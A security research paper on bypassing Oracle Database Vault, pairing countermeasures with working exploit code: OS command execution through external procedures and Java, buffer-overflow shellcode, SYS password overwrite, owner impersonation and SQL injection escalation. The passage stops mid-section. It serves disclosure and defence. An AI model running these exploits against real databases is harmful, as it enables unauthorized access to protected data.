Hacking and protecting Oracle Database Vault

Author: Esteban Martínez Fayó

(esteban>.at.<argeniss>.dot.<com)

Table of Contents

Abstract

Oracle Database Vault was launched in 2006 to put a limit on Database Administrators (DBAs) unlimited power especially over highly confidential data and where it is required by regulations.

The main purpose of this paper is to show different ways in which the protections provided by Oracle Database Vault can be bypassed and provide countermeasures that can be taken to mitigate or eliminate these threats.

This paper goes through a wide variety of attacks including getting operating system access to disable DB Vault, SQL Injection and impersonation techniques to bypass DB Vault protections and how it is possible using simple exploits to circumvent DB Vault. These attack examples are accompanied by recommendations on how to protect from them.

What is Oracle Database Vault?

According to Oracle's web site [1] "*Oracle Database Vault, part of Oracle's comprehensive portfolio of database security solutions, helps organizations address regulatory mandates and increase the security of existing applications. Regulations such as Sarbanes-Oxley, Payment Card Industry (PCI) Data Security Standard (DSS), Health Insurance Portability and Accountability Act (HIPAA), Gramm-Leach-Bliley Act (GLBA) and similar global directives call for separation-of-duties and other preventive controls to ensure data integrity and data privacy. With Oracle Database Vault, organizations can pro-actively safeguard application data stored in the Oracle database from being accessed by privileged database users. Application data can be further protected using Oracle Database Vault's multi-factor policies that control access based on built-in factors such as time of day, IP address, application name, and authentication method, preventing unauthorized ad-hoc access and application by-pass*."

Oracle Database Vault is an add-on option that is installed on top of an existing Oracle Database. The main goal of Database Vault is to provide separation-of-duty to protect against the insider threat.

The concept of separation or segregation of duty is not something new. It has been in use in financial accounting organizations for a while. Basically it means that activities for each person are divided up so that no single person can commit fraud.

The standard security features that most commercial relational databases (including Oracle) provide are frequently not enough to implement the separation of duty required in most large organizations when they have to adhere to strict regulations.

As a practical example, in a database that is protected by DB Vault a user that has the DBA role assigned may not be able to view or update a table that is protected by DB Vault. This means that DB Vault allows to implement a separation between the application data and database administrative tasks. It is important to understand that even the system privileges that the DBA role has are (or at least should be) restricted by DB Vault. So any ways to circumvent Database Vault protections -even from a user account with system privileges- must be considered a serious security issue because it is the essence of DB Vault to protect from privileged users.

Oracle Database Vault Release Differences

Oracle Database Vault has different versions (implementations) depending on the Oracle Database release in which it is installed. This means that security aspects, including some of the issues described here, differ depending on which release we are talking about.

For this paper I mainly base my research on Oracle Database Vault release 10.2.0.3-10.2.0.4, 11.1.0.6-11.1.0.7 and 11.2.0.1 (Windows and Linux). I tried to point out whenever there are differences between them nevertheless it may be the case that some of the concepts explained here do not work on a particular release version. Also it is important to note that the behavior may be different depending on which (if any) Critical Patch Update is applied.

Oracle Database Vault concepts

Let's start by describing what are the elements that Oracle Database Vault provides to deliver additional security features. This information comes mainly from Oracle documentation [2]. You can skip this section if you are already familiarized with Oracle Database Vault.

Realms

From [3]:

A realm is a functional grouping of database schemas and roles that must be secured for a given application. Think of a realm as zone of protection for your database objects. A schema is a logical collection of database objects such as tables, views, and packages, and a role is a collection of privileges. By classifying schemas and roles into functional groups, you can control the ability to use system privileges against these groups and prevent unauthorized data access by the DBA or other powerful users with system privileges. Oracle Database Vault does not replace the discretionary access control model in the existing Oracle database. It functions as a layer on top of this model for both realms and command rules.

After you create a realm, you can register a set of schema objects or roles (secured objects) for realm protection and authorize a set of users or roles to access the secured objects.

For example, after you install Oracle Database Vault, you can create a realm to protect all existing database schemas that are used in an accounting department. The realm prohibits any user who is not authorized to the realm to use system privileges to access the secured accounting data. The Realms are functional grouping of database schemas and roles that must be secured.

Factors

From [4]:

A factor is a named variable or attribute, such as a user location, database IP address, or session user, that Oracle Database Vault can recognize. You can use factors for activities such as authorizing database accounts to connect to the database or creating filtering logic to restrict the visibility and manageability of data.

Oracle Database Vault provides a selection of factors that lets you set controls on such components as the domain for your site, IP addresses, databases, and so on. You also can create custom factors, using your own PL/SQL retrieval methods.

You can use factors in combination with rules in rule sets. The DVF factor functions are factor-specific functions that you can use in rule expressions.

Command Rules

From [5]:

A command rule is a rule that you create to protect SELECT, ALTER SYSTEM, database definition language (DDL), and data manipulation language (DML) statements that affect one or more database objects. To customize and enforce the command rule, you associate it with a rule set, which is a collection of one or more rules. The command rule is enforced at run time. Command rules affect anyone who tries to use the SQL statements it protects, regardless of the realm in which the object exists.

A command rule has the following attributes, in addition to associating a command rule to a command:

- *SQL statement the command rule protects*
- *Owner of the object the command rule affects*
- *Database object the command rule affects*
- *Whether the command rule is enabled*
- *An associated rule set*

Rule sets

From [6]:

A rule set is a collection of one or more rules that you can associate with a realm authorization, factor assignment, command rule, or secure application role. The rule set evaluates to true or false based on the evaluation of each rule it contains and the evaluation type (All True or Any True). A rule within a rule set is a PL/SQL expression that evaluates to true or false. You can create a rule and add the rule to multiple rule sets.

You can use rule sets to accomplish the following activities:

- *As a further restriction to realm authorization, to define the conditions under which realm authorization is active*
- *To define when to allow a command rule*
- *To enable a secure application role*
- *To define when to assign the identity of a factor*

When you create a rule set, Oracle Database Vault makes it available for selection when you configure the authorization for a realm, command rule, factor, or secure application role.

Secure application roles

From [7]:

In Oracle Database Vault, you can create a secure application role that you enable with an Oracle Database Vault rule set. Regular Oracle Database secure application roles are enabled by custom PL/SQL procedures. You use secure application roles to prevent users from accessing data from outside an application. This forces users to work within the framework of the application privileges that have been granted to the role.

The advantage of basing database access for a role on a rule set is that you can store database security policies in one central place, as opposed to storing them in all your applications. Basing the role on a rule set provides a consistent and flexible method to enforce the security policies that the role provides. In this way, if you must update the security policy for the application role, you do it in one place, the rule set. Furthermore, no matter how the user connects to the database, the result is the same, because the rule set is bound to the role. All you need to do is to create the role and then associate it with a rule set. The associated rule set will validate the user who is trying to enable the role.

Oracle Database Vault schemas

Oracle Database Vault installs several new objects such as tables, views, PL/SQL packages in the database. These objects are located in two schemas:

- DVSYS: This schema contains Oracle Database Vault objects that are needed to process Oracle data for Oracle Database Vault. It's secured by the 'Oracle Database Vault' realm. DVSYS user is locked by default.
- DVF: Owner of DBMS_MACSEC_FUNCTION. Contains public functions to retrieve (at run time) the factor values set in the Oracle Database Vault access control configuration. DVF user is locked by default.

The DBMS_MACADM Package owned by user DVSYS provides a collection of PL/SQL interfaces that allow security managers or application developers to configure Oracle Database Vault. Most of the operations provided in this package can also be achieved using Oracle Database Vault Administrator web console.

Oracle Database Vault users and roles

Oracle Database Vault creates some database roles by default. They are used to provide the required authority to use and administer it. Some of the roles created by default are:

DV_OWNER, DV_REALM_OWNER, and DV_REALM_RESOURCE

DV_ADMIN, DV_ACCTMGR, and DV_PUBLIC

DV_SECANALYST

These roles are documented in Oracle Database Vault Documentation [2].

Typical Database Vault users

Oracle Database Vault creates some database users at installation time. The person performing the installation is responsible for assigning usernames and passwords for these DB Vault standard users.

These are the typical users created for DB Vault:

MACACCT

- Account for administration of database accounts and profiles.
- Roles granted: DV_ACCTMGR

MACADMIN

- Account to serve as the access control administrator.
- Roles granted: DV_ADMIN

MACREPORT

- Account for running Oracle Database Vault reports.
- Roles granted: DV_SECANALYST

MACSYS

- Account that is the realm owner for the DVSYS realm (this realm is intended to protect DB Vault database objects).
- Roles granted: DV_OWNER

The most powerful user is the DB Vault owner. In this paper we will name it "MACSYS". This user is assigned the role DV_OWNER that allows full administration of DB Vault. Users granted this role can disable or bypass DB Vault protections.

What changes with Oracle Database Vault?

In addition to what has been described in the preceding sections about the new users, roles, schemas and elements provided, Oracle Database Vault also introduces changes in the behavior of the database and its configuration.

The main goal of Database Vault is to provide separation-of-duty to protect against the insider threat. This affects mainly database tasks that require system privileges like administrative tasks and may also affect applications as they are sometimes programmed in a way that system privileges are required for them to work properly.

There are a number of Realms, Command Rules and Rule Sets that are created by default to protect different aspects of the Oracle Database and to provide separation of duty. For example after you install Oracle Database Vault you will no longer be able to create a user using a DBA or SYSDBA account, you will need to use special purpose account MACACCT or

another account granted DV_ACCTMGR role for that.

The changes made by Database Vault in Oracle Database configuration are well documented in Oracle Database Vault documentation.

This is a brief summary of the changes introduced with Oracle Database Vault:

- Some initialization parameters are changed to more secure values.
- RECYCLE BIN feature is disabled
- Revokes some privileges from default roles: DBA, IMP_FULL_DATABASE, EXECUTE_CATALOG_ROLE, SCHEDULER_ADMIN and PUBLIC.
- Database audit is configured to include more actions, but auditing is not enabled. Must issue ALTER SYSTEM SET AUDIT_TRAIL
- SYS.AUD$ Table Moved to SYSTEM Schema.
- SYS, SYSTEM and other schemas are protected as well as sensitive commands like ALTER USER.
- Installing patches require disabling DB Vault.

Bypassing Oracle Database Vault protections

Oracle Database Vault is not a product that is secure out-of-the-box. There are some issues and security considerations that must be addressed after the product is installed. Database Vault Documentation contains a guideline to secure it. This guideline documents some security considerations with:

- PL/SQL Packages: UTL_FILE, DBMS_FILE_TRANSFER, LogMiner Packages
- Privileges: CREATE ANY JOB, CREATE JOB, CREATE EXTERNAL JOB, ALTER SYSTEM and ALTER SESSION
- The Recycle Bin
- Java Stored Procedures and External C Callouts (< 11.2)
- Trusted accounts: Oracle software owner OS account and SYSDBA users.

I will not focus on the security considerations that are already explicitly documented on Oracle Database Vault documentation. This papers describes security issues that even though some are already known (like how easy it is to get OS access from the database) when exploited in a database protected by DB Vault they are much more dangerous.

Possible attacks against Oracle Database Vault

Now it's time to see the possible attacks that can be done to bypass the protections provided by DB Vault. This is a list of some of the attacks:

- Getting Operating System access. From the database it may be possible OS access.
- Creating and executing a procedure in MACSYS schema.
- Impersonating SYS using SQL Injection. SYS user can bypass DB Vault.
- Exploiting other vulnerabilities specific to DB Vault

Let's see these attacks more in detail.

Attacks getting Operating System access

Oracle Database Vault can be disabled from the Operating System, this is sometimes required for example when applying patches. Reading the Oracle Database Vault Administrator's Guide [8] and doing some tests I see that it is possible to disable DB Vault executing the following OS commands:

On Unix:

```
cd $ORACLE_HOME/rdbms/lib
make -f ins_rdbms.mk dv_off
cd $ORACLE_HOME/bin
relink all
```

On Windows:

```
ren %ORACLE_HOME%\bin\oradv{release_number}.dll oradv{release_number}_.dll
```

There are two kinds of Operating System users that are typically able to disable DB Vault. One is the oracle user, i.e. the user under which the Oracle Database service is running. The other is the root user on Unix and users members of the Administrators group on Windows.

This means that if we can get Operating System access from the Database we may be able to disable the protections provided by DB Vault.

In addition to disable Database Vault an attacker with OS access could overwrite SYS password using orapwd tool. On older Oracle Database Vault releases this utility also has an option to control whether SYSDBA connections are enabled or disabled. Connections as SYSDBA were disabled by default on older releases of Oracle Database Vault.

In this section we will discuss some methods to get Operating System access and execute OS commands with the privileges of the oracle user.

There are several ways in which an attacker could get Operating System access from the Database. The following is a list of some of the ways in which a valid database user can get access to a database:

- External procedure call
- Java Stored Procedure
- Exploiting a buffer overflow vulnerability
- Exploiting a SQL injection vulnerability (to elevate privileges) and using one of the above methods
- External Job

Each of these methods has its own privileges requirement. Now let's see more in detail some of these methods.

External Procedure call

An external procedure is a procedure stored in a dynamic link library (DLL). You register the procedure with the base language, and then call it to perform special-purpose processing.

An external procedure can be called from inside a PL/SQL program as if it was a PL/SQL subprogram and the library is dynamically loaded at runtime.

Typically, external procedure calls are made by Oracle Listener process or Oracle Database server process both of which run by default with "oracle" user (in Unix) or SYSTEM (in Windows) privileges. These met the required privileges to disable Oracle Database Vault from the Operating System.

To be able to call an external procedure, one first needs to create a library object that is a database object that references a DLL file and a procedure (or function) that will point to a function inside the library. Then this procedure (or function) can be called from standard

PL/SQL code.

We will show how this external procedure call functionality can be abused to execute Operating System commands in all current versions of Oracle Database.

There are two privileges that are required to use this technique: CREATE LIBRARY and CREATE PROCEDURE privileges.

Default roles granted these privileges: DBA and IMP_FULL_DATABASE

Default users: SYSTEM, SYSMAN, DMSYS, MDSYS, ORDPLUGINS, ORDSYS

Exploit example:

In this example we will disable Oracle Database Vault with an external procedure call.

First we will create a LIBRARY database object referencing an OS shared library containing a system() or exec() function. These functions are standard library functions in Windows and Unix to execute Operating System commands.

From a security perspective it is important to limit the directories from where the libraries can be loaded. Since Oracle Database version 9 Release 2 the libraries must be in $ORACLE_HOME/lib (Unix) or %ORACLE_HOME%\bin (Windows). But this is not enough, because in those directories there are plenty of dangerous libraries. With dangerous libraries I mean that there are libraries with functions that allow accessing the Operating System resources without any control from the DBMS.

Linux:

```
CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}/lib/libOsUtils.so';
/
```

Windows (10gR2):

```
CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}\bin\msvcr71.dll';
/
```

Windows (11gR1 and 11gR2):

```
CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}\bin\msvcrt.dll';
/
```

Create a procedure that calls to the system() or exec() functions:

```
CREATE OR REPLACE PROCEDURE OS_EXEC2 (OS_CMD IN VARCHAR2) IS
 EXTERNAL NAME "system" LANGUAGE C LIBRARY OS_EXEC PARAMETERS (OS_CMD
STRING);
/
```

To disable Database Vault:

Linux:

```
BEGIN
```

```
 OS_EXEC2 ('make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk dv_off');
 OS_EXEC2 ('$ORACLE_HOME/bin/relink oracle');
END;
/
```

Windows 10gR2:

```
EXEC OS_EXEC2 ('ren %ORACLE_HOME%\bin\oradv10.dll oradv10_.dll');
```

Windows 11gR1 and 11gR2:

```
EXEC OS_EXEC2 ('ren %ORACLE_HOME%\bin\oradv11.dll oradv11_.dll');
```

Defending

Avoid granting CREATE LIBRARY and CREATE PROCEDURE privileges to users. Enable auditing any use of these privileges.

Use EXTPROC_DLLS environment variable in listener.ora to restrict the libraries that can be loaded.

Java Stored Procedure

In this section we will see a way to disable Oracle Database Vault and overwrite SYS user password by abusing the Java language functionality provided by Oracle Database. We will get Operating System access through the use of Java Stored procedures and we will be able to execute OS commands. These commands will execute with the privileges of the user that is running the Oracle Database server process, typically "oracle" user in Unix and SYSTEM on Windows. These OS users usually have enough privileges to disable DB Vault.

There are two steps required to be able to execute Operating System commands using Java Stored procedures:

1. Grant Java privileges

   Oracle has a separate set of privileges to control what the users are allowed to do in Java Stored procedures. These privileges can be granted using PL/SQL stored procedures that are provided by Oracle Database. One stored procedure that can be used is DBMS_JAVA.GRANT_PERMISSION. We will see this more in detail later with an example.

   Another way is to call DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS stored procedure. This technique was first described by David Litchfield [9].

   The main differences between these two methods are the privileges that are required to use them. The first requires JAVA_ADMIN role while the second can be used by any database user provided that the database does not have April 2010 (or later) Critical Patch Update installed. This CPU removed the grant to the PUBLIC role for DBMS_JVM_EXP_PERMS (among other things) and it is not possible to use this method to grant Java privileges in a patched database.

2. Create Java Stored Procedure and execute it.

   Here we have two possibilities again. One that creates a java stored procedure with Java statements to execute Operating System commands and another one that uses the vulnerabilities described at [9]. The latter will only work when the database is

not patched with April 2010 (or later) CPU.

Again the main differences between the two methods are the privileges required. The first method requires CREATE PROCEDURE while the second can be used by any database user in a default installation.

Example 1: Requires JAVA_ADMIN role and CREATE PROCEDURE privilege

For this example we will use the Java functionality that is available within the Oracle Database to execute Operating System commands. First we need to grant the Java privileges required to later execute operating system commands.

The following SQL statements grant the required Java privileges to "ONEDBA" user.

```
EXEC dbms_java.grant_permission( 'ONEDBA', 'SYS:java.io.FilePermission',
'<<ALL FILES>>', 'execute' );
EXEC dbms_java.grant_permission( 'ONEDBA', 'SYS:java.lang.RuntimePermission',
'writeFileDescriptor', '' );
EXEC dbms_java.grant_permission( 'ONEDBA', 'SYS:java.lang.RuntimePermission',
'readFileDescriptor', '' );
```

Now it's time to create Java source that will execute operating system commands:

```
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*; import java.io.*;

public class ExecuteOS
{
  public static void execOSCmd (String cmd) throws IOException,
java.lang.InterruptedException
  {
    String[] strCmd = {"cmd.exe", "/c", cmd};
    Process p = Runtime.getRuntime().exec(strCmd);
    p.waitFor();
  }
};
/
```

Now we create a Java stored procedure:

```
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
AS LANGUAGE JAVA
NAME 'ExecuteOS.execOSCmd (java.lang.String)';
/
```

Once we have created this "PROC_EXECUTEOS" procedure we can execute any Operating System command on the database server.

```
EXEC PROC_EXECUTEOS
('C:\app\Administrator\product\11.2.0\dbhome_1\BIN\orapwd.exe
file=C:\app\Administrator\product\11.2.0\dbhome_1\database\PWDorcl.ora
force=y password=anypass nosysdba=n');
```

```
EXEC PROC_EXECUTEOS ('ren
C:\app\Administrator\product\11.2.0\dbhome_1\BIN\oradv11.dll oradv11_.dll');
```

Example 2: Using Java vulnerabilities [9]

This example is similar to the previous one, but this time we will use vulnerabilities in the Java subsystem that will allow us to grant Java privileges and execute operating system commands even without having any special privilege.

The following SQL statements grant the required Java privileges to execute operating system commands to "ONEUSER" user.

```
DECLARE
  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  CURSOR C1 IS SELECT 'GRANT','ONEUSER','SYS',
'java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL UNION
SELECT 'GRANT','ONEUSER','SYS',
'java.lang.RuntimePermission','writeFileDescriptor','','ENABLED' FROM DUAL
UNION SELECT 'GRANT','ONEUSER','SYS',
'java.lang.RuntimePermission','readFileDescriptor','','ENABLED' FROM DUAL;
BEGIN
  OPEN C1;
  FETCH C1 BULK COLLECT INTO POL;
  CLOSE C1;
  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
```

Once we have the required Java privileges we can use DBMS_JAVA.RUNJAVA or DBMS_JAVA_TEST.FUNCALL to execute code in Java class oracle/aurora/util/Wrapper that executes Operating System command received as parameter.

Using DBMS_JAVA_TEST.FUNCALL (10gR2, 11gR1 and 11gR2):

```
SELECT
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\syst
em32\\cmd.exe','/c','ren','
C:\\oracle\\product\\10.2.0\\db_1\BIN\\oradv10.dll','oradv10_.dll') FROM
DUAL;
```

Using DBMS_JAVA.RUNJAVA (11gR1 and 11gR2):

```
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper
c:\\windows\\system32\\cmd.exe /c ren
C:\\app\\Administrator\\product\\11.1.0\\db_1\\BIN\\oradv11.dll
oradv11_.dll') FROM DUAL;
```

Defending

To defend from this attack you can patch de database with April 2010 Critical Patch Update. Oracle 11gR2 on Windows is not vulnerable.

If you can't install the patches you can revoke EXECUTE privilege from users on

SYS.DBMS_JVM_EXP_PERMS, SYS.DBMS_JAVA and SYS.DBMS_JAVA_TEST. The most dangerous package is DBMS_JVM_EXP_PERMS because it allows to grant any Java privileges to any user that have execute permissions on this package.

OS access exploiting a Buffer overflow

Now we will see a way to get Operating System access exploiting a buffer overflow vulnerability in a standard stored procedure. This will allow us to execute Operating System commands with the privileges of the user running the Oracle server, typically "oracle" user in Unix and SYSTEM on Windows. As we have seen in the previous examples, once we can execute OS commands as these users we can easily disable Oracle Database Vault or do some other dangerous operations like overwrite SYS password and enable SYSDBA access (if needed).

To use this technique we need to have EXECUTE privileges over a stored procedure that has a buffer overflow vulnerability. Oracle Database has a long history of buffer overflow vulnerabilities in their built-in PL/SQL packages. There are dozens of bugs of this kind that I reported and have been fixed in the past 5 years. Most of the ones that are still unfixed are in stored procedures that require some kind of administrative privilege to be exploited. But this is still a serious security issue especially in situations where a strict separation of duty is in place.

Example: Buffer overflow in DIRPATH parameter of SYS.KUPF$FILE_INT.GET_FULL_FILENAME function

This example exploits a buffer overflow vulnerability fixed in April 2008 Critical Patch Update [13]. The exploit was tested against Oracle 10.2.0.3 on Windows Server 2003 32-bit.

This example calls the "system" function exported by MSVCRT.DLL standard library. This function executes the operating system command received as a parameter. The command will be executed as the user that is running the Oracle database server process, by default SYSTEM in Windows or "oracle" in Unix. After calling "system" the example calls "endthread" function to end the current thread and avoid memory access violation exceptions that would appear as the result of memory corruption.

```
DECLARE
  OS_COMMAND VARCHAR2(504);
  RET_VALUE_X123 VARCHAR2(32767);
  P_DIRPATH VARCHAR2(32767);
BEGIN
-- Disable DB Vault:
  OS_COMMAND:='ren ..\bin\oradv10.dll oradv10_.dll';
-- Enable SYSDBA access and overwrite SYS password:
--  OS_COMMAND:='..\bin\orapwd.exe file=..\dbs\orapworcl force=y nosysdba=n password=anypass';
  P_DIRPATH := ''
   ||chr(54)||chr(141)||chr(67)||chr(19)             /* 36:8D43 13  LEA EAX,DWORD PTR SS:[EBX+13]
*/
   ||chr(80)                                        /* 50          PUSH EAX */
   ||chr(184)||chr(131)||chr(160)||chr(187)||chr(119)/* B8 83A0BB77 MOV EAX,msvcrt.system */
   ||chr(255) || chr(208)                           /* FFD0        CALL EAX */
   ||chr(184)||chr(31)||chr(179)||chr(188)||chr(119) /* B8 1FB3BC77 MOV EAX,msvcrt._endthread */
   ||chr(255) || chr(208)                           /* FFD0        CALL EAX */
   ||RPAD(OS_COMMAND || chr(38), 505)
   ||CHR(96) || CHR(221) || CHR (171) || CHR(118);   /* EIP   0x76abdd60 - CALL EBX */
  RET_VALUE_X123 := SYS.KUPF$FILE_INT.GET_FULL_FILENAME(DIRPATH => P_DIRPATH, NAME => 'B',
EXTENSION => '', VERSION => '');
END;
/
```

Defending

Oracle usually fixes buffer overflow vulnerabilities that are reported by researchers or discovered by them internally with Critical Patch Updates, so to defend your database against attacks using already known and fixed buffer overflow vulnerabilities you should keep patched your database server with the latest Critical Patch Update available.

To protect from attacks exploiting unknown or unfixed vulnerabilities you should reduce the attack surface. You can do that by removing database components that you don't need. Alternatively you can also minimize the attack surface by limiting the number of users being able to call packages and stored procedures.

Impersonating MACSYS User

This technique is quite simple. It consists of creating a stored procedure in MACSYS schema and executing it. By default Oracle executes the stored procedure with the privileges of the owner. The MACSYS user is the owner of the Database Vault and has DV_OWNER role granted, meaning that can change any Database Vault configuration and bypass its protections. This user is created at Database Vault installation time and the name is chosen by the user performing the installation, so it may be different than "MACSYS" for a particular DB Vault installation. Here I will refer to MACSYS user as the user specified at installation time for Database Vault owner user.

Of course, to be able to use this technique we need to have certain privileges, i.e. CREATE ANY PROCEDURE and EXECUTE ANY PROCEDURE. By default, the roles granted these privileges are DBA, IMP_FULL_DATABASE and DV_REALM_OWNER.

Example:

The following SQL statement creates a stored procedure in MACSYS schema. The stored procedure is named "EXECASMACSYS" and it takes one VARCHAR2 argument. This argument is passed to EXECUTE IMMEDIATE statement that will execute the string received as an anonymous PL/SQL block. This will execute with the privileges of the MACSYS user because all stored procedures in Oracle executes in this way unless they are declared with AUTHID CURRENT_USER keyword. To be able to create procedures in other user's schema we need CREATE ANY PROCEDURE privilege.

```
CREATE OR REPLACE PROCEDURE MACSYS.EXECASMACSYS (STMT VARCHAR2) AS
 BEGIN EXECUTE IMMEDIATE STMT; END;
/
```

After we have created this procedure we can call it passing as the argument the statement we want to execute with MACSYS privileges and it will be executed. To do this we need EXECUTE ANY PROCEDURE privilege (to be able to execute procedures that are in other users' schemas)

```
EXEC MACSYS.EXECASMACSYS ('ALTER USER MACSYS IDENTIFIED BY ANYPSW');
```

This will change MACSYS password to ANYPSW.

Defense

The privileges needed to use this technique should be restricted: CREATE ANY PROCEDURE and EXECUTE ANY PROCEDURE privileges. At least these two privileges shouldn't be granted together to the same user.

You should consider protecting MACSYS schema with a Realm. This can be done executing the following statements:

```
BEGIN
  DVSYS.DBMS_MACADM.CREATE_REALM('MACSYS Realm', '', 'NO', 1);
  DVSYS.DBMS_MACADM.ADD_OBJECT_TO_REALM('MACSYS Realm', 'MACSYS', '%', '%');
  DVSYS.DBMS_MACADM.UPDATE_REALM('MACSYS Realm', 'Realm to protect the
Database Vault Owner Schema', 'YES', 1);
END;
```

If the MACSYS schema is protected by a Realm it means that only authorized members of the Realm will be able to access it, making it impossible to create a procedure in this schema for others users even if they have the CREATE ANY PROCEDURE privilege.

SYS user considerations

The SYS user (or any user granted the SYSDBA privilege, that is the same) is the most powerful user in an Oracle Database. It is the owner of the Oracle Data Dictionary and in a DB Vault installation it is the owner of the 'Oracle Data Dictionary' Realm that protects it. But this user does not have any administrative privilege over Oracle Database Vault.

For example if we try to disable a DB Vault Realm or change DB Vault owner password as the SYS user we got `insufficient privilege' error:

```
SQL> show user
USER is "SYS"
SQL> exec DVSYS.DBMS_MACADM.UPDATE_REALM('HR Realm', 'Realm to protect the HR
schema', 'YES', 1);
BEGIN DVSYS.DBMS_MACADM.UPDATE_REALM('HR Realm', 'Realm to protect the HR
schema', 'YES', 1); END;

            *
ERROR at line 1:
ORA-06550: line 1, column 13:
PLS-00904: insufficient privilege to access object DVSYS.DBMS_MACADM
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored


SQL> alter user macsys identified by aa;
alter user macsys identified by aa
                               *
ERROR at line 1:
ORA-01031: insufficient privileges
```

However, even with these protections, according to DB Vault documentation [10] the SYSDBA privilege is a trusted privilege that should be granted only to trusted users. But, what is that this user can do that other privileged users like users granted DBA can't do? Why there is this special warning with SYSDBA privilege?

Oracle Database Vault documentation doesn't explicitly enumerate which are the things that the SYS user can do to bypass DB Vault protections. I researched this and found the following things:

- SYS can impersonate DB Vault owner (MACSYS).
- SYS can update the internal data dictionary tables (Does not work on release 11.1 and newer).

There is an interesting protection since release 11.1: it's not possible to update internal data dictionary tables even being the SYS user. I spent some time researching this new protection and haven't found a way to elude it; however I would not be surprised if there is a way.

Also, in DB Vault installation, there are some system privileges that are revoked from DBA role, depending on the DB Vault release version. For example Oracle Database Vault release 11.1 revokes system privileges CREATE ANY JOB and CREATE JOB from DBA role. I guess the reason for this is to avoid the possibility to get Operating System access through an external job.

Now let's see more in detail the ways in which the SYS user can compromise DB Vault.

SYS can impersonate DB Vault owner

It is possible for SYS user to impersonate the DB Vault owner (MACSYS in this paper) using DBMS_SYS_SQL.PARSE_AS_USER stored procedure. This stored procedure can be used to execute SQL statements as any database user, you just need to pass the user id as an argument to the procedure.

SYS user could not change DB Vault owner password by itself but by impersonating it SYS user can change MACSYS password or grant DV_OWNER privilege to any user.

The following example changes MACSYS user password to "ANYPASS". First we look for MACSYS User ID selecting from ALL_USERS view and open a cursor. Once we have this User ID and a new cursor opened we call PARSE_AS_USER procedure passing the User ID, the cursor and the statement we want to execute as the MACSYS user.

```
declare l_num number; l_int integer;
begin
  select user_id into l_num from all_users where username = 'MACSYS';
  l_int := sys.dbms_sys_sql.open_cursor();
  sys.dbms_sys_sql.parse_as_user(l_int,'alter user MACSYS identified by
"ANYPASS"',dbms_sql.native,l_num);
  sys.dbms_sys_sql.close_cursor(l_int);
end;
```

SYS can update the internal data dictionary tables

For example, top change DV owner password updating system tables directly:

```
UPDATE sys.user$ SET password='C3B6F7BD55996DAA' WHERE name='MACSYS'
```

For example to grant DV_OWNER role to SYS user:

```
INSERT INTO sys.sysauth$ VALUES ((SELECT user# FROM user$ WHERE name =
'SYS'),(SELECT user# FROM user$ WHERE name = 'DV_OWNER'),999,NULL)
```

SQL Injection

Now we will see how it is possible to bypass the protections provided by Oracle Database Vault exploiting a SQL injection vulnerability. SQL injection vulnerabilities can be used to elevate privileges and use one of the methods already described, like getting Operating System access to disable DB Vault, in case we don't have the required privileges to carry the attack directly.

If the SQL injection vulnerability allows to elevate privileges to the SYS user (most probably if it is in the SYS schema) we can also use some of the methods described in the previous section to bypass DB Vault that SYS can do. Let's see some examples.

Example using Oracle Java vulnerabilities [9] fixed in April 2010 CPU

In this example we exploit a SQL Injection vulnerability that allows to elevate privileges to the SYS user. As the SYS user we call DBMS_SYS_SQL.PARSE_AS_USER procedure to impersonate user MACSYS and execute a grant statement to grant DV_OWNER to the user exploiting the vulnerability, in this case ONEUSER.

```
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA
('ID','oracle/aurora/rdbms/DbmsJava','SYS', 'writeOutputToFile','TEXT', NULL,
NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''declare l_num number; l_int integer; begin select user_id
into l_num from all_users where username = ''''MACSYS''''';  l_int :=
sys.dbms_sys_sql.open_cursor();
sys.dbms_sys_sql.parse_as_user(l_int,''''grant dv_owner to
oneuser'''',dbms_sql.native,l_num);  sys.dbms_sys_sql.close_cursor(l_int);
end;''; END;', 'BEGIN NULL; END;') FROM DUAL;

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION', SYSDATE());
```

Example using SQL Injection in Workspace Manager package (LT)

The following example exploits a vulnerability in LT. REMOVEWORKSPACE stored procedure [11] to elevate privileges to the SYS user. This vulnerability is fixed in Oracle October 2008 CPU.

Oracle moved LT package from SYS schema to WMSYS in a Critical Patch Update (I'm not sure which one). If the owner of this package is not SYS this exploit will not work as expected because it will elevate privilege to the WMSYS user which is not enough.

```
CREATE OR REPLACE FUNCTION ONEUSER.SQLI return varchar2
 authid current_user as pragma autonomous_transaction;
BEGIN
  execute immediate 'begin sys.kupp$proc.change_user(''MACSYS''); end;';
```

```
  execute immediate 'alter user MACSYS identified by anypass';
  commit;
  RETURN '';
END;
/
DECLARE  P_WORKSPACE VARCHAR2(32767);
BEGIN
  P_WORKSPACE := '''||ONEUSER.SQLI()||''';
  SYS.LT.CREATEWORKSPACE(P_WORKSPACE, FALSE, '', FALSE);
  SYS.LT.REMOVEWORKSPACE(P_WORKSPACE, FALSE);
END;
```

Example using SQL Injection in SYS.DBMS_CDC_UTILITY.LOCK_CHANGE_SET

This example exploits a SQL injection vulnerability [12] that was fixed in Oracle April 2008 CPU. The SQL injection issue resides in DBMS_CDC_UTILITY package that is owned by SYS and allows to elevate to the privileges of that user.

This SQL injection vulnerability –as well as the previous one- allows to inject a function call that will be executed with the privileged of the SYS user.

